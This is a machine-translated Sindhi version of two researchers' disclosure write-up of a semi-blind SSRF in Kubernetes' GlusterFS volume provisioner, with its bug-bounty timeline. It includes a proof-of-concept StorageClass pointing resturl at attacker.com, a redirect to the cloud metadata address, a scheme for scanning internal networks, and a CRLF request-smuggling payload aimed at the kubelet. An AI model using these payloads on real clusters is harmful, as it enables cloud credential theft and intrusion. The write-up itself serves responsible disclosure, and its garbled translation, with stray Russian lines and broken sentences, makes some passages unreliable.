نوٽ. ترجمو: هن آرٽيڪل جا ليکڪ تفصيل سان ڳالهائيندا آهن ته ڪيئن انهن خطرن کي دريافت ڪرڻ جو انتظام ڪيو ڪبرنيٽس ۾. جيتوڻيڪ شروعاتي طور تي اهو تمام خطرناڪ نه لڳي، ٻين عنصرن سان گڏ ان جي تنقيد ڪجهه ڪلائوڊ فراهم ڪندڙن لاءِ وڌ کان وڌ ثابت ٿي. ڪيترن ئي تنظيمن سخاوت سان ماهرن کي سندن ڪم لاءِ انعام ڏنو.
اسين ڪير آهيون
اسان ٻه فرانسيسي سيڪيورٽي محقق آهيون جن گڏيل طور تي ڪبرنيٽس ۾ هڪ خطري کي دريافت ڪيو. اسان جا نالا Brice Augras ۽ Christophe Hauquiert آهن، پر ڪيترن ئي بگ باونٽي پليٽ فارمن تي اسان کي بالترتيب Reeverzax ۽ Hach طور سڃاتو وڃي ٿو:
- - ;
- - نوڪيا ۾ ڪبرنيٽس معمار.
ڇا ٿيو؟
هي آرٽيڪل اسان جي شيئر ڪرڻ جو طريقو آهي ته ڪيئن هڪ عام تحقيقي منصوبو غير متوقع طور تي بگ شڪارين جي زندگيءَ ۾ سڀ کان وڌيڪ دلچسپ مشغلو بڻجي ويو (گهٽ ۾ گهٽ هينئر تائين).
جئين توهان کي خبر آهي، بگ شڪارين جا ٻه قابل ذڪر خاصيتون آهن:
- اهي پيزا ۽ بيئر تي رهن ٿا؛
- اهي ڪم ڪن ٿا جڏهن ٻيا سڀ ننڊ ۾ آهن.
اسان انهن قاعدن کان ڪو به استثنا نه آهيون: اسان عام طور تي هفتي جي آخر ۾ ملن ٿا ۽ هيڪنگ جي ننڊ ۾ گذاريندا آهيون. پر انهن مان هڪ رات ڏاڍي غير معمولي انداز ۾ ختم ٿي وئي.
شروعات ۾ اسان ملاقات ۾ شرڪت تي بحث ڪرڻ وارا هئاسين ٻئي ڏينهن. هڪ منظم سروس ماحول ۾ ڪبرنيٽس سيڪيورٽي بابت گفتگو دوران، اسان کي ايس ايس آر ايف جو پراڻو خيال ياد آيو () ۽ ان کي استعمال ڪرڻ جي ڪوشش ڪرڻ جو فيصلو ڪيو حملو اسڪرپٽ طور.
11 وڳي اسان پنهنجي تحقيق ڪرڻ لاءِ ويٺاسين ۽ صبح جو سوير سمهڻ لڳاسين، نتيجن کان بلڪل مطمئن. اهو ان تحقيق جي ڪري هو جو اسان MSRC بگ باؤنٽي پروگرام ۾ آياسين ۽ هڪ امتيازي واڌ جي استحصال سان گڏ آياسين.
ڪيترائي هفتا/مهينا گذري ويا، ۽ اسان جي اڻڄاتل نتيجن جي نتيجي ۾ Azure Cloud Bug Bounty جي تاريخ ۾ سڀ کان وڌيڪ انعامن مان هڪ آهي - ان کان علاوه جيڪو اسان Kubernetes کان حاصل ڪيو آهي!
اسان جي تحقيقي منصوبي جي بنياد تي، ڪبرنيٽس پراڊڪٽ سيڪيورٽي ڪميٽي شايع ڪئي .
هاڻي مان چاهيان ٿو ته مليل نقصان جي باري ۾ معلومات کي ممڪن طور تي پکيڙيو وڃي. اسان کي اميد آهي ته توهان انفوسيڪ ڪميونٽي جي ٻين ميمبرن سان ٽيڪنيڪل تفصيل ڳولڻ ۽ حصيداري ڪندا آهيو!
پوء هتي اسان جي ڪهاڻي آهي ...
مقالو
سڀ کان وڌيڪ احساس ڪرڻ لاءِ ته ڇا ٿيو، اچو ته پھريون ڏسو ته ڪبرنيٽس ڪھڙي ريت ڪم ڪري ٿو بادل جي منظم ماحول ۾.
جڏهن توهان اهڙي ماحول ۾ ڪبرنيٽس ڪلستر کي فوري طور تي ترتيب ڏيو ٿا، انتظامي پرت عام طور تي ڪلائوڊ فراهم ڪندڙ جي ذميواري آهي:
ڪنٽرول پرت ڪلائوڊ فراهم ڪندڙ جي فريم تي واقع آهي، جڏهن ته ڪبرنيٽس نوڊس گراهڪ جي فريم تي واقع آهن.
متحرڪ طور تي مقدار کي مختص ڪرڻ لاءِ، هڪ ميڪانيزم استعمال ڪيو ويندو آهي متحرڪ طور تي انهن کي هڪ خارجي اسٽوريج جي پس منظر مان مهيا ڪرڻ ۽ انهن کي PVC سان مقابلو ڪرڻ لاءِ (مسلسل حجم جي دعويٰ، يعني حجم جي درخواست).
اهڙيءَ طرح، PVC ٺهڻ کان پوءِ K8s ڪلستر ۾ StorageClass سان جڙيل آهي، حجم مهيا ڪرڻ لاءِ وڌيڪ ڪارناما ڪيا ويندا آهن ڪوبي/ڪلائوڊ ڪنٽرولر مئنيجر (ان جو صحيح نالو رليز تي منحصر هوندو آهي). (نوٽ. ترجمو: اسان اڳ ۾ ئي CCM بابت وڌيڪ لکيو آهي ان جو مثال استعمال ڪندي ڪلائوڊ فراهم ڪندڙن مان هڪ لاءِ .)
ڪيبرنيٽس پاران مهيا ڪيل ڪيترن ئي قسمن جا آهن: انهن مان گهڻا شامل آهن ، جڏهن ته ٻيا انتظام ڪيا ويا آهن اضافي روزي ڏيندڙ جيڪي ڪلستر ۾ پوڊ ۾ رکيا ويا آهن.
اسان جي تحقيق ۾، اسان اندروني مقدار جي فراهمي جي ميڪانيزم تي ڌيان ڏنو، جيڪو هيٺ بيان ڪيو ويو آهي:
بلٽ ان ڪبرنيٽس پرووائيزر استعمال ڪندي حجم جي متحرڪ روزي
مختصر ۾، جڏهن Kubernetes هڪ منظم ماحول ۾ مقرر ڪيو ويو آهي، ڪنٽرولر مينيجر ڪلائوڊ فراهم ڪندڙ جي ذميواري آهي، پر حجم ٺاهڻ جي درخواست (مٿي ڏنل ڊراگرام ۾ نمبر 3) بادل فراهم ڪندڙ جي اندروني نيٽ ورڪ کي ڇڏي ٿو. ۽ هي آهي جتي شيون واقعي دلچسپ آهن!
هيڪنگ جو منظر
هن حصي ۾، اسان وضاحت ڪنداسين ته اسان مٿي ذڪر ڪيل ڪم فلو مان ڪيئن فائدو ورتو ۽ ڪلائوڊ سروس فراهم ڪندڙ جي اندروني وسيلن تائين رسائي حاصل ڪئي. اهو پڻ توهان کي ڏيکاريندو ته توهان ڪجهه ڪارناما ڪيئن ڪري سگهو ٿا، جهڙوڪ اندروني سندون حاصل ڪرڻ يا استحقاق وڌائڻ.
ھڪڙو سادو ٺاھڻ (ھن صورت ۾، سروس سائڊ درخواست جي فراھمي) ڪلائنٽ ماحول کان ٻاھر وڃڻ ۾ مدد ڪئي مختلف سروس فراهم ڪندڙن جي ڪلسٽرز ۾ منظم K8s تحت.
اسان جي تحقيق ۾ اسان GlusterFS فراهم ڪندڙ تي ڌيان ڏنو. ان حقيقت جي باوجود ته عملن جو وڌيڪ سلسلو هن سلسلي ۾ بيان ڪيو ويو آهي، Quobyte، StorageOS ۽ ScaleIO ساڳيا ڪمزورين لاءِ حساس آهن.
متحرڪ حجم جي فراهمي واري ميڪانيزم جو غلط استعمال
اسٽوريج ڪلاس جي تجزيو دوران گلسٽر ايف ايس Golang ڪلائنٽ سورس ڪوڊ ۾ اسان جيڪا پهرين HTTP درخواست تي (3) حجم ٺاھڻ دوران موڪلي وئي، پيراميٽر ۾ ڪسٽم URL جي آخر تائين resturl شامل ڪيو ويو آهي /volumes.
اسان فيصلو ڪيو ته هن اضافي رستي کان نجات حاصل ڪرڻ سان # پيٽرول ۾ resturl. ھتي آھي پھريون YAML ٺاھ جوڙ جيڪو اسين استعمال ڪندا ھئاسين سيمي بلائنڊ ايس ايس آر ايف جي ڪمزوري لاءِ (توهان نيم انڌا يا اڌ انڌا SSRF بابت وڌيڪ پڙهي سگهو ٿا، مثال طور، - لڳ ڀڳ ترجمو.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfپوءِ اسان بائنري استعمال ڪيو پري کان ڪبرنيٽس ڪلستر کي منظم ڪرڻ لاءِ ڪيوبڪبل. عام طور تي، ڪلائوڊ فراهم ڪندڙ (Azure، Google، AWS، وغيره) توهان کي هن افاديت ۾ استعمال لاءِ سندون حاصل ڪرڻ جي اجازت ڏين ٿا.
انهي جي مهرباني، مان پنهنجي "خاص" فائل استعمال ڪرڻ جي قابل ٿيس. Kube-controller-manager نتيجي ۾ HTTP درخواست تي عمل ڪيو:
kubectl create -f sc-poc.yaml
حملي آور جي نقطي نظر کان جواب
ٿوري دير کان پوء، اسان پڻ حاصل ڪرڻ جي قابل هئا هڪ HTTP جواب ٽارگيٽ سرور کان - حڪمن ذريعي describe pvc يا get events kubectl ۾. ۽ حقيقت ۾: هي ڊفالٽ ڪبرنيٽس ڊرائيور ان جي ڊيڄاريندڙ / غلطي پيغامن ۾ تمام گهڻو لفظ آهي ...
هتي هڪ مثال آهي لنڪ سان https://www.google.frparameter طور مقرر resturl:
kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events
هن طريقي ۾، اسان سوالن تائين محدود هئاسين HTTP پوسٽ ۽ جوابي جسم جو مواد حاصل نه ڪري سگھيو جيڪڏھن واپسي ڪوڊ ھو 201. تنهن ڪري، اسان اضافي تحقيق ڪرڻ جو فيصلو ڪيو ۽ هن هيڪنگ منظر کي نئين طريقن سان وڌايو.
اسان جي تحقيق جي ارتقا
- ترقي يافته منظر #1: استعمال ڪندي هڪ 302 هڪ خارجي سرور کان ريڊائريڪٽ HTTP طريقي کي تبديل ڪرڻ لاءِ اندروني ڊيٽا گڏ ڪرڻ لاءِ وڌيڪ لچڪدار طريقو مهيا ڪرڻ لاءِ.
- ترقي يافته منظر #2: خودڪار LAN اسڪيننگ ۽ اندروني وسيلن جي دريافت.
- ترقي يافته منظر #3: استعمال ڪندي HTTP CRLF + سمگلنگ ("اسمگلنگ جي درخواست") ترتيب ڏنل HTTP درخواستون ٺاهڻ لاءِ ۽ ڪبي ڪنٽرولر لاگز مان ڪڍيل ڊيٽا ٻيهر حاصل ڪرڻ لاءِ.
ٽيڪنيڪل وضاحتون
- تحقيق استعمال ڪيو Azure Kubernetes Service (AKS) Kubernetes ورزن 1.12 سان اتر يورپ جي علائقي ۾.
- مٿي بيان ڪيل منظرنامي تي عمل ڪيو ويو ڪبرنيٽس جي تازي رليز تي، ٽئين منظرنامي جي استثنا سان، ڇاڪاڻ ته هن کي گولانگ ورزن ≤ 1.12 سان ٺهيل ڪبرنيٽس جي ضرورت هئي.
- حملو ڪندڙ جو خارجي سرور -
https://attacker.com.
ترقي يافته منظر #1: هڪ HTTP پوسٽ جي درخواست کي GET ڏانهن موٽڻ ۽ حساس ڊيٽا حاصل ڪرڻ
واپسي لاءِ حملي آور جي سرور جي ترتيب سان اصل طريقو بهتر ڪيو ويو 302 HTTP ٻيهر ڪوڊپوسٽ درخواست کي GET درخواست ۾ تبديل ڪرڻ لاءِ (ڊاگرام ۾ قدم 4):
پهرين درخواست (3) ڪلائنٽ کان اچڻ گلسٽر ايف ايس (ڪنٽرولر مئنيجر)، ھڪڙو پوسٽ قسم آھي. انهن قدمن تي عمل ڪندي اسان ان کي GET ۾ تبديل ڪرڻ جي قابل هئاسين:
- پيٽرول جي طور تي
resturlStorageClass ۾ اهو اشارو ڪيو ويو آهيhttp://attacker.com/redirect.php. - آخري پوائنٽ
https://attacker.com/redirect.phpهيٺ ڏنل مقام جي هيڊر سان 302 HTTP اسٽيٽس ڪوڊ سان جواب ڏئي ٿو:http://169.254.169.254. اهو ٿي سگهي ٿو ڪو ٻيو اندروني وسيلو - هن معاملي ۾، ريڊائريڪٽ لنڪ صرف هڪ مثال طور استعمال ڪيو ويندو آهي. - ھونئن جي net/http لائبريري گولنگ درخواست کي ريڊائريڪٽ ڪري ٿو ۽ پوسٽ کي 302 اسٽيٽس ڪوڊ سان GET ۾ تبديل ڪري ٿو، نتيجي ۾ ٽارگيٽ ريسورس ڏانهن HTTP GET درخواست.
پڙهڻ لاءِ HTTP جوابي جسم توهان کي ڪرڻو پوندو describe PVC اعتراض:
kubectl describe pvc xxxهتي JSON فارميٽ ۾ HTTP جواب جو هڪ مثال آهي جيڪو اسان حاصل ڪرڻ جي قابل هئا:
ان وقت مليل ڪمزورين جون صلاحيتون هيٺين نقطن جي ڪري محدود هيون:
- ٻاهر وڃڻ واري درخواست ۾ HTTP هيڊر داخل ڪرڻ ۾ ناڪامي.
- جسم ۾ پيرا ميٽرن سان پوسٽ جي درخواست کي انجام ڏيڻ ۾ ناڪامي (اهو آسان آهي ته اهم قيمت جي درخواست ڪرڻ لاءِ هڪ etcd مثال تي هلندڙ. 2379 بندرگاهن جيڪڏهن اڻ ڳڻي HTTP استعمال ڪئي وئي آهي).
- جوابي جسم جي مواد کي ٻيهر حاصل ڪرڻ ۾ ناڪامي جڏهن اسٽيٽس ڪوڊ 200 هو ۽ جواب ۾ JSON مواد جو قسم نه هو.
ترقي يافته منظر #2: مقامي نيٽ ورڪ اسڪيننگ
اهو اڌ انڌو SSRF طريقو پوءِ استعمال ڪيو ويو ڪلائوڊ فراهم ڪندڙ جي اندروني نيٽ ورڪ کي اسڪين ڪرڻ ۽ مختلف ٻڌڻ واريون خدمتون (Metadata instance, Kubelet, etc. وغيره) جي جوابن جي بنياد تي. ڪوب ڪنٽرولر.
پهرين، Kubernetes اجزاء جي معياري ٻڌڻ واري بندرگاهن کي طئي ڪيو ويو (8443، 10250، 10251، وغيره)، ۽ پوء اسان کي اسڪيننگ جي عمل کي خودڪار ڪرڻو پوندو.
اهو ڏسندي ته وسيلن جي اسڪيننگ جو هي طريقو تمام مخصوص آهي ۽ کلاسڪ اسڪينر ۽ SSRF ٽولز سان هم آهنگ نه آهي، اسان فيصلو ڪيو ته پنھنجا پنھنجا ڪم ڪندڙ ھڪ بيش اسڪرپٽ ۾ ٺاھيون جيڪي پوري عمل کي پاڻمرادو ڪن.
مثال طور، اندروني نيٽ ورڪ جي رينج 172.16.0.0/12 کي جلدي اسڪين ڪرڻ لاء، 15 ڪارڪنن کي متوازي طور تي شروع ڪيو ويو. مٿي ڏنل IP رينج صرف هڪ مثال طور چونڊيو ويو آهي ۽ ٿي سگهي ٿو توهان جي مخصوص سروس فراهم ڪندڙ جي IP رينج ۾ تبديلي جي تابع.
ھڪڙي IP پتي ۽ ھڪڙي بندرگاھ کي اسڪين ڪرڻ لاء، توھان کي ھيٺين ڪرڻ جي ضرورت آھي:
- آخري چڪاس ٿيل StorageClass کي ختم ڪريو؛
- اڳوڻي تصديق ٿيل مسلسل حجم دعوي کي هٽايو؛
- IP ۽ پورٽ ويلز کي تبديل ڪريو
sc.yaml; - نئين IP ۽ پورٽ سان گڏ اسٽوريج ڪلاس ٺاهيو؛
- هڪ نئون PVC ٺاهيو؛
- پي وي سي لاءِ بيان استعمال ڪندي اسڪين جا نتيجا ڪڍو.
ترقي يافته منظر #3: CRLF انجيڪشن + ڪبرنيٽس ڪلستر جي "پراڻي" ورزن ۾ HTTP سمگلنگ
جيڪڏهن ان کان علاوه فراهم ڪندڙ ڪلائنٽ کي K8s ڪلستر جا پراڻا ورزن پيش ڪري ٿو и انهن کي kube-controller-manager جي لاگن تائين رسائي ڏني، اثر اڃا به وڌيڪ اهم ٿي ويو.
اهو واقعي هڪ حملي ڪندڙ لاءِ تمام گهڻو آسان آهي HTTP درخواستن کي تبديل ڪرڻ لاءِ جيڪو هن جي صوابديد تي مڪمل HTTP جواب حاصل ڪرڻ لاءِ ٺهيل آهي.
آخري منظر تي عمل ڪرڻ لاء، هيٺين شرطن کي پورا ڪرڻو پوندو:
- استعمال ڪندڙ کي لازمي طور تي kube-controller-manager لاگز تائين رسائي هجڻ گهرجي (مثال طور، Azure LogInsights ۾).
- ڪبرنيٽس ڪلستر کي 1.12 کان گھٽ گولانگ جو نسخو استعمال ڪرڻ گھرجي.
اسان هڪ مقامي ماحول کي ترتيب ڏنو آهي جيڪو GlusterFS Go ڪلائنٽ ۽ جعلي ٽارگيٽ سرور جي وچ ۾ رابطي کي ترتيب ڏئي ٿو (اسان هن وقت تائين PoC شايع ڪرڻ کان پاسو ڪنداسين).
لڌو ويو 1.12 کان گهٽ گولانگ ورزن کي متاثر ڪرڻ ۽ هيڪرز کي HTTP سمگلنگ/CRLF حملا ڪرڻ جي اجازت ڏيڻ.
مٿي بيان ڪيل اڌ انڌا SSRF کي گڏ ڪرڻ سان вместе ان سان گڏ، اسان پنهنجي پسند جي درخواستن کي موڪلڻ جي قابل ٿي چڪا هئاسين، بشمول هيڊر کي تبديل ڪرڻ، HTTP جو طريقو، پيٽرولر ۽ ڊيٽا، جنهن کي kube-controller-manager وري پروسيس ڪيو.
هتي ڪم ڪندڙ "بيت" جو هڪ مثال آهي هڪ پيٽرول ۾ resturl StorageClass، جيڪو ساڳئي حملي واري منظر کي لاڳو ڪري ٿو:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnنتيجو هڪ غلطي آهي اڻ گهربل جواب، هڪ پيغام جنهن بابت ڪنٽرولر لاگز ۾ رڪارڊ ٿيل آهي. ڊفالٽ طور فعال ڪيل فعل جي مهرباني، HTTP جوابي پيغام جا مواد پڻ اتي محفوظ ڪيا ويا آهن.
تصور جي ثبوت جي فريم ورڪ اندر اهو اسان جو سڀ کان وڌيڪ اثرائتو ”بيت“ هو.
هن طريقي کي استعمال ڪندي، اسان مختلف منظم ڪيل k8s فراهم ڪندڙن جي ڪلسٽرن تي هيٺيان حملا ڪرڻ جي قابل ٿي ويا: ميٽاداٽا مثالن تي سندن سان امتيازي واڌارو، ماسٽر DoS ذريعي (غير انڪوڊ ٿيل) HTTP درخواستون etcd ماسٽر مثالن تي، وغيره.
نتيجو
ڪبرنيٽس جي سرڪاري بيان ۾ SSRF جي نقصان جي حوالي سان اسان دريافت ڪيو، ان کي درجه بندي ڪيو ويو CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. جيڪڏهن اسان سمجهون ٿا ته صرف ڪبرنيٽس پريميٽرز سان لاڳاپيل ڪمزوري، سالميت ویکٹر (سالميت ویکٹر) جي حيثيت رکي ٿو ڪو.
بهرحال، هڪ منظم خدمت ماحول جي تناظر ۾ ممڪن نتيجن جو جائزو وٺڻ (۽ اهو اسان جي تحقيق جو سڀ کان دلچسپ حصو هو!) اسان کي حوصلا افزائي ڪئي ته اسان کي ريٽنگ ۾ ٻيهر ورهايو وڃي. نازڪ CVSS10/10 ڪيترن ئي تقسيم ڪندڙن لاء.
ھيٺ ڏنل اضافي معلومات آھي توھان جي مدد ڪرڻ لاءِ اسان جي خيالن کي سمجھڻ ۾ جڏھن ڪلائوڊ ماحول ۾ امڪاني اثرن جو جائزو وٺو:
سالميت
- حاصل ڪيل اندروني سندون استعمال ڪندي دور دراز حڪمن تي عمل ڪريو.
- IDOR (Insecure Direct Object Reference) جو طريقو استعمال ڪندي مٿين منظرنامي کي مقامي نيٽ ورڪ تي مليل ٻين وسيلن سان گڏ.
اعتماد وارو
- حملي جو قسم بادل جي سند جي چوري جي مهرباني (مثال طور، ميٽاداٽا API).
- مقامي نيٽ ورڪ کي اسڪين ڪرڻ جي ذريعي معلومات گڏ ڪرڻ (SSH ورجن، HTTP سرور ورزن، ...).
- گڏ ڪريو مثال ۽ بنيادي ڍانچي جي معلومات پولنگ ذريعي اندروني APIs جهڙوڪ ميٽا ڊيٽا API (
http://169.254.169.254،…. - ڪلائوڊ سندون استعمال ڪندي ڪسٽمر ڊيٽا چوري ڪرڻ.
دستياب
ویکٹر تي حملو ڪرڻ سان لاڳاپيل سڀئي استحصالي منظرنامو سالميت، تباهي واري عملن لاءِ استعمال ٿي سگهي ٿو ۽ ماسٽر مثالن ڏانهن وٺي سگھي ٿو ڪلائنٽ پريميٽ (يا ڪو ٻيو) دستياب نه هجڻ کان.
جيئن ته اسان هڪ منظم K8s ماحول ۾ هئاسين ۽ سالميت تي اثر جو اندازو لڳائي رهيا هئاسين، اسان ڪيترن ئي منظرنامن کي تصور ڪري سگهون ٿا جيڪي دستيابي تي اثر انداز ڪري سگهن ٿيون. اضافي مثالن ۾ etcd ڊيٽابيس کي خراب ڪرڻ يا Kubernetes API کي نازڪ ڪال ڪرڻ شامل آهن.
ڪرسمس
- ڊسمبر 6، 2019: MSRC بگ باونٽي کي نقصان جي اطلاع ڏني وئي.
- جنوري 3، 2020: هڪ ٽئين پارٽي ڪبرنيٽس ڊولپرز کي ٻڌايو ته اسان سيڪيورٽي مسئلي تي ڪم ڪري رهيا آهيون. ۽ انهن کان پڇيو ته SSRF هڪ اندروني (ان-ڪور) خطري جي طور تي غور ڪيو وڃي. اسان ان کان پوء هڪ عام رپورٽ مهيا ڪئي آهي ٽيڪنيڪل تفصيل سان مسئلي جي ماخذ بابت.
- جنوري 15، 2020: اسان Kubernetes ڊولپرز کي سندن درخواست تي ٽيڪنيڪل ۽ عام رپورٽون مهيا ڪيون (هئڪرون پليٽ فارم ذريعي).
- جنوري 15، 2020: Kubernetes ڊولپرز اسان کي اطلاع ڏنو ته اڌ انڌا SSRF + CRLF انجيڪشن کي ماضي جي رليز لاءِ بنيادي نقصان سمجهيو ويندو آهي. اسان فوري طور تي ٻين سروس فراهم ڪندڙن جي حدن جو تجزيو ڪرڻ بند ڪيو: K8s ٽيم هاڻي بنيادي سبب سان معاملو ڪري رهي هئي.
- جنوري 15، 2020: MSRC انعام حاصل ڪيو HackerOne ذريعي.
- جنوري 16، 2020: ڪبرنيٽس پي ايس سي (پراڊڪٽ سيڪيورٽي ڪميٽي) خطري کي تسليم ڪيو ۽ ان کي مارچ جي وچ تائين ڳجهو رکڻ لاءِ چيو ڇاڪاڻ ته امڪاني متاثرين جي وڏي تعداد جي ڪري.
- فيبروري 11، 2020: Google VRP انعام حاصل ڪيو.
- مارچ 4، 2020: ڪبرنيٽس انعام حاصل ڪيو هيڪر ون ذريعي.
- مارچ 15، 2020: اصل ۾ شيڊول عوامي ظاهر ڪرڻ ملتوي ڪيو ويو COVID-19 صورتحال جي ڪري.
- جون 1، 2020: Kubernetes + Microsoft جو گڏيل بيان خطري بابت.
TL، ڊاڪٽر
- اسان بيئر پيئندا آهيون ۽ پيزا کائيندا آهيون :)
- اسان Kubernetes ۾ هڪ بنيادي نقصان دريافت ڪيو، جيتوڻيڪ اسان کي ائين ڪرڻ جو ڪو ارادو نه هو.
- اسان مختلف ڪلائوڊ فراهم ڪندڙن جي ڪلسٽرن تي اضافي تجزيو ڪيو ۽ اضافي لاجواب بونس حاصل ڪرڻ جي خطري جي ڪري نقصان کي وڌائڻ جي قابل ٿي ويا.
- توھان ھن مضمون ۾ ڪيترائي ٽيڪنيڪل تفصيل ڳوليندا. اسان انهن سان توهان سان بحث ڪرڻ ۾ خوش ٿينداسين (Twitter: & ).
- اهو ظاهر ٿيو ته سڀني قسمن جي رسم الخط ۽ رپورٽنگ توقع کان گهڻو وقت ورتو.
حوالن
- ;
- ;
- ;
- .
پي ايس مترجم کان
اسان جي بلاگ تي پڻ پڙهو:
- «"؛
- «"؛
- «».
جو ذريعو: www.habr.com